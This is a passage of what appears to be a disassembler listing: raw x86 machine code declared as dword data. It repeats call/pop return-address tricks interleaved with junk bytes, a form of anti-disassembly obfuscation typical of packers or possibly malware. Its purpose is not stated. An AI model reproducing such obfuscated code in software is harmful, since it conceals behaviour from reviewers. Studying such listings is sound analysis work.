		dd 2908A59Dh, 6D958B06h, 6A06291Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0ACE4C353h
		dd 8B00BF28h, 830DEA6Fh, 6A04C2h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0CA3D83C3h, 38156E4Fh
		dd 0C1BD8B94h, 8906290Ah, 0F88B2050h, 0D465858Dh, 0FE8B062Ch
		dd 0B88689h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 150424h, 50400000h, 339D62C3h, 2919E59Dh, 0E8006A06h
		dd 13h,	430F7D37h, 7BC23C41h, 10F0BEFh,	0E17498AFh, 669B774Dh
		dd 5FC486BFh, 0C096B5FFh, 0B70F062Ch, 3195FFFFh, 57062930h
		dd 5250965Bh, 310FD88Ah, 0B115BB66h, 0BB50585Ah, 2C67628Eh
		dd 52006A96h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1B04h
		dd 0C3524200h, 0CC039320h, 609ADBECh, 15FDBD0Bh, 0B5FF0629h
		dd 62CC096h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 18h,	8AC35040h, 876DFD6Bh, 2F9595FFh, 0BD8B0629h, 62911CDh
		dd 11A9BD83h, 0F000629h, 5584h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0E2E81FB2h
		dd 0D19D8B23h, 96062927h, 0CE8h, 9F2DD400h, 0AEC1328Ah
		dd 0D25BA30Eh, 0E9505BCAh, 5, 5F0C470Dh, 0BE9967Ah, 63000000h
		dd 0DB42AAh, 31602897h,	0B5FF0345h, 62CC096h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 2FC35141h, 0FDB50957h
		dd 5B062908h, 69B58960h, 0F062906h, 289h, 61595000h, 2D3595FFh
		dd 6A0629h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h
		dd 53430000h, 3C1174C3h, 0BBFFB70Fh, 5A9CACEh, 0C096B5FFh
		dd 8B66062Ch, 358D89DFh, 0FF062926h, 29060595h,	83FAB306h
		dd 290ABDBDh, 840F0206h, 60h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0F5C35242h,	2D518CAFh, 0BF04029Ah
		dd 29858BCCh, 6A062918h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0F0FEC353h,	0F98B665Fh
		dd 0F0000C6h, 0B8Bh, 58D0F00h, 66000000h, 0D9DFEB81h, 65D85C7h
		dd 629h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 180424h, 53430000h, 0E9CADFC3h, 8B663056h, 92BF66D9h
		dd 0F338E95Eh, 6AFFFFh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 1A0208C3h, 8B3087F2h, 51006AC1h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 52C57CE1h, 9AB96B56h, 1425858Dh, 9D890629h, 6292CADh
		dd 9E950h, 90E0000h, 95788B1Bh,	89685C33h, 6A2404h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 259773C3h, 665B395Dh, 5ACDCF81h, 34BB006Ah, 6A07399Ah
		dd 0F88B6600h, 9908858Dh, 6A062Dh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 8BAD0CC3h, 291071BDh
		dd 5C08306h, 90F8BF0Fh,	0E950C9B7h, 14h, 0F55D0978h, 9D87C59Bh
		dd 201C93CBh, 2BCDE2FAh, 923C71A1h, 94BB6690h, 0F830FC8h
		dd 0E9000000h, 0Ah, 0E4ECA7CAh,	0F6B0D04Eh, 6A6B3Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0CEC35242h, 7310E141h
		dd 1BB3006Ah, 0CED95FFh, 6A0629h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0E545EBC3h, 0FFFED19Dh
		dd 33B59D8Bh, 8D8D0629h, 62C9808h, 28018589h, 0D1FF0629h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0C9C35343h
		dd 839C8324h, 291A29BDh, 850F0106h, 78h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Dh, 0F6C35040h, 6CD9FE6h
		dd 3287053h, 0C5DDBB93h, 26A1082h, 840Fh, 0E8900000h, 0Dh
		dd 5CC5CE72h, 0F3F70EBAh, 0A1E2D6Dh, 8ABF663Ch,	66505B68h
		dd 90DD25BFh, 0FFDE8B66h, 29303195h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 0DCEB8D05h
		dd 0F52E9h, 0E800h, 815D0000h, 2D9912EDh, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1D04h, 0C3554500h
		dd 11BE7099h, 0F2F65C6h, 95892E65h, 62916C9h, 0E559D89h
		dd 95290629h, 62917D1h,	91B0858Dh, 6A062Ch, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 190424h, 51410000h, 76166CC3h
		dd 507F5E43h, 5B616052h, 6A240489h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1B042444h, 43000000h, 8466C353h
		dd 0D044748Dh, 9D8B7216h, 6292C69h, 35FF64h, 6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0E9CDC350h, 7, 8E06BEDFh,	0E955A7B9h, 0Ah
		dd 6B7BCE50h, 4EAE01ACh, 8964FA3Ah, 25h, 55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h
		dd 0A6E40471h, 9D89A606h, 6290C59h, 1585FFF5h, 0F06292Ah
		dd 0FF6AFBBFh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	0E9C35747h, 8494390Ch, 0EE9h, 2D486500h, 50B09A8Bh
		dd 345F8673h, 0FF93F877h, 290F71B5h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 322A20ACh
		dd 0E9A33AA1h, 14h, 0EE061E51h,	0EB0F955Ch, 28CD61D6h
		dd 0E8B570D6h, 4B8B3C58h, 275595FFh, 55E90629h,	23000001h
		dd 2927E99Dh, 8B00B006h, 2925A59Dh, 6070E606h, 2E119D8Bh
		dd 0B52B0629h, 6291B95h, 8B71E461h, 2918799Dh, 0F613C06h
		dd 12783h, 10E85300h, 66000000h, 6C3CAB94h, 9DA37859h
		dd 2E20908Fh, 0E8F0B508h, 12h, 0B2276783h, 0B7E72C2Ah
		dd 0E3B8A8BDh, 0D30243FAh, 5B5B6E1Dh, 0C8B60F5Fh, 10E8F9h
		dd 3E940000h, 0E968151Eh, 55D29C04h, 18A68EBDh,	9529F083h
		dd 629107Dh, 6BA5Bh, 8D890000h,	62907D9h, 2F899D89h, 0C18B0629h
		dd 35258D89h, 0E8C10629h, 299D0904h, 66062911h,	8589E2F7h
		dd 6290409h, 2BDFBF0Fh,	8DBD03C8h, 0E9062925h, 5, 262E56EFh
		dd 0E9D18BCAh, 0Ch, 7DA71181h, 0A9DBB13Fh, 9635604Ch, 6E9h
		dd 299D8B00h, 8B062933h, 290D3585h, 0DFF78006h,	8B07C083h
		dd 290745BDh, 6E906h, 12B80000h, 29E37D03h, 900C083h, 2923319Dh
		dd 0FD03B06h, 0D83h, 7B5BBF00h,	41E92668h, 80000000h, 8D8BB1C7h
		dd 6292A49h, 0F01E183h,	2F84h, 6E900h, 461E0000h, 39688575h
		dd 24DD9D8Bh, 0A5830629h, 6292A49h, 6D8D89FEh, 89062931h
		dd 290D3595h, 99D78106h, 0E92E9E40h, 0
		dd 0F83B58Dh, 12E8062Dh, 3E000000h, 977456B5h, 0F33D422Ch
		dd 282A5613h, 2067B69Dh, 0E381665Fh, 6A5B4022h,	918D8900h
		dd 0FF062929h, 29059195h, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 8E90AF1h, 0C000000h
		dd 454E134Bh, 0E9742BEAh, 10h, 5CECBFE4h, 8EB9B7D3h, 90FBD76Ah
		dd 847CEA7Ch, 746B9h, 0FCE18300h, 79DB589h, 56FC0629h
		dd 11860Fh, 0CE90000h, 0D5000000h, 170AFBA1h, 390ADD25h
		dd 5B2BE12Ah, 0B8h, 66F86000h, 0BA61F98Bh, 0
		dd 27B59D8Bh, 33AD0629h, 3E8D1C2h, 4E983D0h, 0F88BF475h
		dd 2FDDBD01h, 6A0629h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 3A1CEDC3h, 0A0096590h, 0F99D24F3h
		dd 880Dh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 7D9D3359h, 0F06292Fh, 958BDEBFh
		dd 6291E6Dh, 2D818D8Bh,	6A0629h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 29EDC5C3h, 2927999Dh
		dd 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 8B58188Bh
		dd 2928DDBDh, 83FC8A06h, 291331BDh, 840F0006h, 8Bh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 50C35747h, 0F2A5B0F5h
		dd 0B83B38h, 0B3000000h, 6B8D8DD7h, 6A06294Dh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0E9FFC356h, 10h, 0ECF67B0Bh,	38971045h, 2C140B66h, 0BE5BBFA9h
		dd 6AE1FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 9AF013C3h, 0AD8DDFF7h, 0F9BD8B70h, 83062911h
		dd 292005BDh, 840F0006h, 521h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 3AC35747h, 0BE44AAB5h, 83DA8B9Dh
		dd 292005BDh, 840F0106h, 50Ch, 0F25ABF66h, 2005BD83h, 0F030629h
		dd 4C586h, 0B70F6000h, 28B0FCBh, 50000000h, 6A606158h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 15042444h
		dd 46000000h, 154C356h,	921B589h, 830F0629h, 18h, 13E9h
		dd 0D1E6E000h, 0A998AAD1h, 52F60973h, 8774429h,	0AD56BCD4h
		dd 6AD98C66h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0F810C357h, 205A4312h,	8B24B688h
		dd 292465BDh, 4E18006h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 76C35343h, 0B4598054h, 0E957C9A8h, 6
		dd 93E59BD5h, 840F2676h, 5, 672C78BBh, 0FC90A4Fh, 14684h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 174FE9F5h, 0BE5CE910h, 1205BD8Bh, 858B0629h
		dd 6291885h, 89F6D780h,	290655BDh, 0ED853306h, 0FC06290Dh
		dd 148A0F50h, 60000000h, 8E8h, 57E07500h, 5C5B1563h, 0BB665BF0h
		dd 896106E4h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 140424h, 51410000h, 0B501AAC3h, 6292711h, 4CC1CF81h
		dd 6A6AAFh, 20119501h, 4E80629h, 0FF000000h, 50001F03h
		dd 0FDE8B52h, 11E931h, 0A9180000h, 0E79B5FF3h, 88C7FBBCh
		dd 0C42209D7h, 5A11D220h, 52505058h, 9E8h, 22924800h, 0A275257Fh
		dd 800F49C7h, 0
		dd 5A310F5Fh, 24448B58h, 0DE804h, 2FDD0000h, 36A40D77h
		dd 2474AD89h, 0B75D6A0Ch, 8B5F87h, 28FB0BBFh, 24448925h
		dd 0F98B6604h, 8DD38058h, 4D95FFh, 6A0629h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0B9EDE4C3h
		dd 68C0F84h, 89000000h,	291881BDh, 0D8B70F06h, 0C0968589h
		dd 8589062Ch, 6291E21h,	1F2E9h,	299D8B00h, 8B062911h, 2CC08E85h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 983C57F3h, 0C7CD7Bh, 18h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Bh, 0A8C35646h, 0D7D903CEh
		dd 60ED71A0h, 885C981h,	61FC08BEh, 0C092B58Bh, 6A062Ch
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 1324D9C3h, 0DDC97E71h, 16019D89h, 858B0629h,	6292BC9h
		dd 0D65BD8Bh, 0BF0F0629h, 6A0689DBh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0D0F5C351h
		dd 4820FF1h, 66000000h,	8BAFE7BFh, 29188585h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0F16BEEAFh, 44689F9h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 19h, 0F6C35646h, 0C654BC72h, 7E99682h, 0A9000000h
		dd 0FADD1535h, 50508DBDh, 0AF2000BBh, 23965B11h, 292A81BDh
		dd 8EB5FF06h, 6A062CC0h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 14042444h, 40000000h, 0BB02C350h,	36C9D157h
		dd 0E91A8D68h, 0BB66518Fh, 815B63B9h, 0E9722404h, 0BE87035h
		dd 31000000h, 0C5539173h, 0E006C88Fh, 0E78178FEh, 549C9B8h
		dd 96858D5Fh, 6A062CC0h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1D042444h, 42000000h, 8B58C352h, 0B85D627h
		dd 0A449C6EDh, 0BCAEBB66h, 0CE95250h, 95000000h, 30FCFD48h
		dd 39D4F350h, 5B26690Ch, 6A240489h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 16042444h, 40000000h, 0F390C350h
		dd 0D5BD8B94h, 0FF06291Fh, 29004D95h, 0B99D8B06h, 61062911h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0DBC35343h
		dd 4FC81E3Bh, 97AD6AFCh, 0AE9AFh, 0C7CA0000h, 8F561EE1h
		dd 0EF0D78D3h, 200585C7h, 30629h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 129E9C3h
		dd 0A1FAA901h, 8BBFFCF2h, 96BD83FBh, 62CC0h, 60840Fh, 6A0000h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0FF381C3h, 481h, 35BF6600h, 4FE989h,	6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 76DF5AC3h, 0DB34538Ah, 4399D8Bh, 830F0629h, 6, 10F99D29h
		dd 30500629h, 4400110Ch, 0E8C10111h, 11443010h,	114C0002h
		dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h,	10E8C101h
		dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h
		dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h
		dd 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 0BF883F3Eh, 9F694720h, 0A890Fh, 5E90000h
		dd 54000000h, 0D8BE598Ah, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Ah, 84C35242h, 0E637918Fh, 0F6BB424Eh, 0E80CB64Ah
		dd 13h,	360DC9CEh, 49420040h, 27AA16D8h, 0DC79FDDFh, 0F6A0058h
		dd 18Bh, 835FFC00h, 292005BDh, 850F0306h, 467h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 95C35141h, 0DA8B6686h
		dd 14B86660h, 4995291Dh, 61062920h, 25E98589h, 0BD830629h
		dd 62CC096h, 28840F00h,	6A000004h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 63E3C351h
		dd 0F705C581h, 59BF37B0h, 0F3816660h, 952997F1h, 629163Dh
		dd 5850F61h, 66000000h,	117DEF81h, 0C096B5FFh, 860F062Ch
		dd 0
		dd 0E7995FFh, 6A0629h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0CC76FC3h, 0D810Fh, 8E90000h, 9B000000h
		dd 0FA7AE1CBh, 8B218F94h, 2CC08AB5h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 32428B75h
		dd 660A4189h, 0BF66F88Bh, 6C75274h, 10001h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 7DC35747h, 0A67EC4F0h
		dd 0AE9F8h, 851F0000h, 0C4AC008Ah, 0FB7BBEFAh, 8B525050h
		dd 51310FD9h, 5E9h, 0F8D29100h,	5A5B73A4h, 24348958h, 0DE9h
		dd 76EA3E00h, 0EAD5962Fh, 9E9E3B5Bh, 0B5FFBD8Bh, 62CC096h
		dd 2195FFF9h, 8B062907h, 2905B99Dh, 8AB58B06h, 6A062CC0h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 0CC3EC350h, 0E9BD0B59h, 8B06291Dh, 29247985h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1A04h
		dd 0C3504000h, 0ABA57B70h, 89AD77CFh, 0C486h, 74BB6600h
		dd 6D958BD0h, 8B06291Eh, 4C283DFh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0B4C35646h,	9D33100Fh, 62923F5h
		dd 72DB9BBBh, 20508939h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 17h, 0D3C35747h, 2981C9EAh, 29185185h, 65858D06h
		dd 0FC062CD4h, 0B88689h, 6A0000h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 6A21E0C3h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0FF8C3DA5h, 0BEC5603Ch, 13E96AACh, 7B000000h, 0C81E3BDBh
		dd 0AD6AFC4Fh, 0B35EAF97h, 931E142Dh, 0B5FF32E1h, 62CC096h
		dd 4870Fh, 0BF660000h, 95FF5143h, 6293031h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 44C35545h, 0DA8B6669h
		dd 7D5BD8Bh, 9D8B0629h,	6292061h, 11E96050h, 0D9000000h
		dd 27F937EAh, 5378E964h, 8C51DD62h, 0F6A5653h, 0F1F4B866h
		dd 24348961h, 1379BD23h, 60600629h, 89ACCE80h, 292A4D9Dh
		dd 850B6106h, 62914DDh,	96B5FF61h, 81062CC0h, 6D3F63F7h
		dd 9595FF05h, 6A06292Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1B042444h, 46000000h, 0A777C356h,	225D24B3h
		dd 9D8B84D0h, 6292E09h,	1A9DB589h, 0BD830629h, 62911A9h
		dd 21840F00h, 0E9000000h, 0Fh, 19082225h, 0C24FEE4Bh, 0FC27411Ch
		dd 963C5482h, 0BB5066B3h, 79A201Eh, 0F9B70F96h,	0C096B5FFh
		dd 6A062Ch, 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h
		dd 50400000h, 0AF51FEC3h, 0DAFAA8h, 0C99D2B5Ch,	0FF062905h
		dd 292D3595h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1B04h, 0C3514100h, 0E3CEC8C7h, 55D5A3B0h, 0BE9h, 0C25D8400h
		dd 1BC03512h, 0D3E672F0h, 0C096B5FFh, 9D8B062Ch, 6291805h
		dd 60595FFh, 83FC0629h,	290ABDBDh, 840F0206h, 66h, 0CE9h
		dd 0C1599700h, 0B66E9E8Bh, 9B9283B2h, 29858BE8h, 6A062918h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0F499C351h, 9D8B7F03h, 6291245h, 0CB59D0Bh
		dd 0C60629h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 0A9EF89B8h, 85C7F928h, 629065Dh
		dd 0
		dd 0E9DE8B66h, 0FFFFF1DEh, 2455B529h, 0C18B0629h, 0EE8h
		dd 9CEE4600h, 62A25EBCh, 0CA38BB56h, 0F6DD7FCh,	8D5BFABFh
		dd 29142585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1804h, 0C3564600h, 678F2A67h, 3971BFB3h, 5090551Dh
		dd 0D800F52h, 0E8000000h, 7, 0D1996C7Ch, 5BB53C22h, 0FA8B310Fh
		dd 5050585Ah, 0B890F52h, 0E9000000h, 6,	23F73E9Fh, 310FB85Ch
		dd 14E8h, 22DB5400h, 8D6829AEh,	9596EF10h, 0B6EB2FC1h
		dd 195246F5h, 8E91Dh, 916E0000h, 0B745AD00h, 5A5F370Bh
		dd 6A9058h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 4C8D4CC3h, 9FB55104h, 0BD89006Ah,	6291145h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0BD0B9AC3h, 62923DDh, 13E8h, 0DC6A4500h
		dd 0A9C0B323h, 702AFCBh, 418EDED2h, 85CB2FA1h, 1F63F9BBh
		dd 858D5F4Eh, 62DAAF1h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 99C35747h, 6A3016AEh,	0CB5E3799h, 58D0FDAh
		dd 0BB000000h, 254C0E38h, 6A05C083h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 6AD2C352h
		dd 0B20417A3h, 90CFD780h, 48D0F50h, 66000000h, 905AF0BBh
		dd 2A2D9D8Bh, 6A0629h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 0A9C35545h, 6DB9A40Eh, 39985A8Bh, 0F8E78108h
		dd 0B40C54Eh, 2904D19Dh, 6AFA8B06h, 1DE8B00h, 29096195h
		dd 0ED95FF06h, 6A06290Ch, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 16042444h, 42000000h, 35C3C352h, 75BD8B77h
		dd 8D06290Fh, 2C98088Dh, 0D88B6606h, 0BD89D1FFh, 6291A75h
		dd 31258D31h, 0BD830629h, 6291A29h, 0A2850F01h,	6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 14042444h
		dd 43000000h, 0E960C353h, 8, 1A7D7823h,	909F53C3h, 6A026Ah
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 1CD69CC3h, 2C119D8Bh, 66900629h, 502F0FBBh, 0F88B6660h
		dd 5AFB8B57h, 6A9061h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 0F956B0C3h, 0AF0CB730h, 0FB59D8Bh
		dd 95FF0629h, 6293031h,	10E9h, 0ABD7DA00h, 0E86AA911h
		dd 8D5C4687h, 0A4112CDCh, 0D96E93Ah, 0E80000h, 5D000000h
		dd 0AAFBED81h, 0F781062Dh, 4FB7C149h, 931B589h,	0B70F0629h
		dd 0B0858DDBh, 6A062C91h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0E84EC353h,	958B600Bh
		dd 6290491h, 478A61BEh,	9589613Fh, 62907B5h, 105BD8Bh
		dd 8B500629h, 240489F8h, 64DF8B66h, 35FFh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 2C10B4C3h, 8BBF6D65h, 291E3D9Dh, 25896406h, 0
		dd 0A5F3BF66h, 2A1585FFh, 87B30629h, 0BB66FF6Ah, 0B5FF9F0Fh
		dd 6291A91h, 32118589h,	0BD8B0629h, 6292D89h, 275595FFh
		dd 16E90629h, 0B0000001h, 9DBD8900h, 6606291Ah,	70E6DE8Bh
		dd 0EE8h, 0FB522800h, 0D9A5918Dh, 0CA01B051h, 66EF721Bh
		dd 9056E381h, 1D9D035Fh, 0E4062921h, 0AEC38171h, 3C3B615Dh
		dd 0DA830F61h, 8B000000h, 291E19BDh, 0C8B60F06h, 8F58589h
		dd 6BA0629h, 89000000h,	2929E59Dh, 0E8C18B06h, 0Ch, 43B88812h
		dd 1A2C4FF8h, 9750D47Ch, 0C15B53B3h, 9CBF04E8h,	667BC6C4h
		dd 0EF80E2F7h, 8BC82B79h, 290E61BDh, 52D18B06h,	2C91BD8Bh
		dd 0E95F0629h, 9, 81FEBF0Fh, 8763B6DBh,	79858B03h, 60062934h
		dd 8BFBBF0Fh, 29096195h, 0C0836106h, 0DFB70F07h, 8B00C083h
		dd 0FD03BDEh, 0F83h, 53E900h, 24BB0000h, 667D2B76h, 0D761CB81h
		dd 0A498D8Bh, 13E90629h, 83000000h, 50A51E0Eh, 44D2059Eh
		dd 9F5A3026h, 6A0D3511h, 0E183D6D4h, 22840F01h,	89000000h
		dd 29332995h, 49A58306h, 0FE06290Ah, 6F63F781h,	958954E7h
		dd 6293479h, 4666BF66h,	0E9h, 0F6B58D00h, 0B3062D18h, 66006AF8h
		dd 95FFF98Bh, 6290591h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Bh, 16C35141h, 4C049919h,	31E2F1EDh, 2931DDBDh
		dd 0DB816606h, 10B99952h, 6A000009h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 18042444h, 41000000h, 0C269C351h
		dd 834E9626h, 0BD8BFCE1h, 62911F9h, 0B5BD89FCh,	2B06291Bh
		dd 51006AC0h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0C76E91F4h, 0CE9A285h, 0EB000000h, 35782B3Eh
		dd 0A9C7421Eh, 0BAFE49B0h, 0
aWia		db 'W‰Ù',0
		db 29h,	6, 5Fh
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 6619501h,	6A0629h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0F90F93C3h, 6053BC8Fh, 62F78166h, 616160B4h,	0DA2B75Fh
		dd 88h,	35B86660h, 0E68166DCh, 5761E439h, 6D958B5Bh, 6A06291Eh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 15042444h
		dd 43000000h, 0FDEC353h, 81DBBF0Fh, 11D934EBh, 818D8B04h
		dd 2906292Dh, 292CC185h, 0C28B5006h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0D564C351h,	19A82460h
		dd 0A37D43ABh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	78C35747h, 16FB0D2Ch, 0CE9h, 5959BF00h,	431125E3h
		dd 6DA38823h, 31BD83DDh, 62913h, 73840Fh, 8B0F0000h, 0Ch
		dd 6830Fh, 0BD890000h, 62932C1h, 0B8h, 8DE4B300h, 294D6B8Dh
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 6A8DCA4Bh, 10E9h, 542FE400h, 1E1D438Bh
		dd 39B3AA3Ah, 0C9BED8E1h, 6AE1FF1Dh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 8BB5C350h
		dd 5BD83FEh, 62920h, 483840Fh, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0E96510C3h
		dd 7, 0CF4993E6h, 838377A5h, 292005BDh,	840F0106h, 468h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 64C35545h
		dd 3D55524Ah, 0E781F0FCh, 436E5607h, 2005BD83h,	0F030629h
		dd 3FD86h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1804h, 0C3514100h, 0C002BE43h, 519D892Eh, 0BF062911h
		dd 16CDBD13h, 57006A60h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 9ABD49E1h, 6CC2FFB2h, 0E1BD8BA7h
		dd 66062900h, 6AD98Ch, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 0FC2B4C3h, 68Fh,	71DF8100h, 806EA0A6h
		dd 8D8904E1h, 6290DF1h,	840FC90Ah, 143h, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 18h, 50C35545h, 0E34AF79Fh
		dd 1885858Bh, 0BE80629h, 7E000000h, 0C606C6E0h,	612B0D5Ch
		dd 0BF0F2188h, 85335FDAh, 6290DEDh, 68E0Fh, 0F3810000h
		dd 5126AE3Ah, 0E4BF6690h, 50535088h, 0F525052h,	0F585A31h
		dd 5A5B5131h, 6A905F58h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 7587C352h, 6A650Ch
		dd 0D8DB589h, 4DBB0629h, 6822C6FDh, 0D6998B4Bh,	0B9CDBB66h
